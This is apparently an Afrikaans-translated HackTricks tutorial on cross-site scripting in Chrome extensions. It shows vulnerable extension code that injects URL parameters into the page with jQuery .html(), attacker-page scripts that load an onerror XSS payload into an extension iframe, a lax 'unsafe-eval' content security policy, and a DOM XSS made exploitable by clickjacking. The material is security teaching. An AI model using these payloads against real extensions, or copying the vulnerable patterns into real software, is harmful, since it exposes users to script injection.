BrowExt - XSS Example

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Cross-Site Scripting (XSS) deur middel van Iframe

In hierdie opstelling word 'n inhoudskrip geïmplementeer om 'n Iframe te instansieer, wat 'n URL met navraagparameters inkorporeer as die bron van die Iframe:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

'n Openlik toeganklike HTML-bladsy, message.html, is ontwerp om dinamies inhoud by die dokumentliggaam te voeg op grond van die parameters in die URL:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

'n Kwaadwillige skripsie word uitgevoer op 'n teenstander se bladsy, waar die content parameter van die Iframe se bron gewysig word om 'n XSS-payload in te sluit. Dit word bereik deur die Iframe se bron op te dateer om 'n skadelike skripsie in te sluit:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

'n Oormatig toegeeflike Inhoudsveiligheidsbeleid soos:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

maak die uitvoering van JavaScript moontlik, wat die stelsel vatbaar maak vir XSS-aanvalle.

'n Alternatiewe benadering om die XSS uit te lok, behels die skep van 'n Iframe-element en die instelling van sy bron om die skadelike skrip as die content-parameter in te sluit:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-gebaseerde XSS + ClickJacking

Hierdie voorbeeld is geneem uit die oorspronklike pos skryfwerk.

Die kernprobleem ontstaan uit 'n DOM-gebaseerde Cross-site Scripting (XSS) kwesbaarheid wat geleë is in /html/bookmarks.html. Die problematiese JavaScript, deel van bookmarks.js, word hieronder beskryf:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

Hierdie stukkie haal die waarde uit die txtName invoerveld en gebruik string-konkatenasie om HTML te genereer, wat dan aan die DOM geheg word deur gebruik te maak van jQuery se .append() funksie.

Normaalweg sal die Chrome-uitbreiding se Inhoudsbeveiligingsbeleid (CSP) sulke kwesbaarhede voorkom. Tog is uitbuiting steeds moontlik as gevolg van CSP-verslapping met 'unsafe-eval' en die gebruik van jQuery se DOM-manipulasie-metodes (wat globalEval() gebruik om skripte na eval() te stuur by DOM-invoeging).

Hoewel hierdie kwesbaarheid betekenisvol is, is die uitbuiting gewoonlik afhanklik van gebruikersinteraksie: die besoek aan die bladsy, die invoer van 'n XSS-lading en die aktivering van die "Voeg by" knoppie.

Om hierdie kwesbaarheid te verbeter, word 'n sekondêre clickjacking-kwesbaarheid uitgebuit. Die manifest van die Chrome-uitbreiding toon 'n uitgebreide web_accessible_resources-beleid:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

Veral die /html/bookmarks.html bladsy is vatbaar vir framing en dus kwesbaar vir clickjacking. Hierdie kwesbaarheid word gebruik om die bladsy binne 'n aanvaller se webwerf te rame, en dit te oorlê met DOM-elemente om die koppelvlak bedrieglik te herontwerp. Hierdie manipulasie lei slagoffers om onbedoeld met die onderliggende uitbreiding te interaksieer.

Verwysings

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Last updated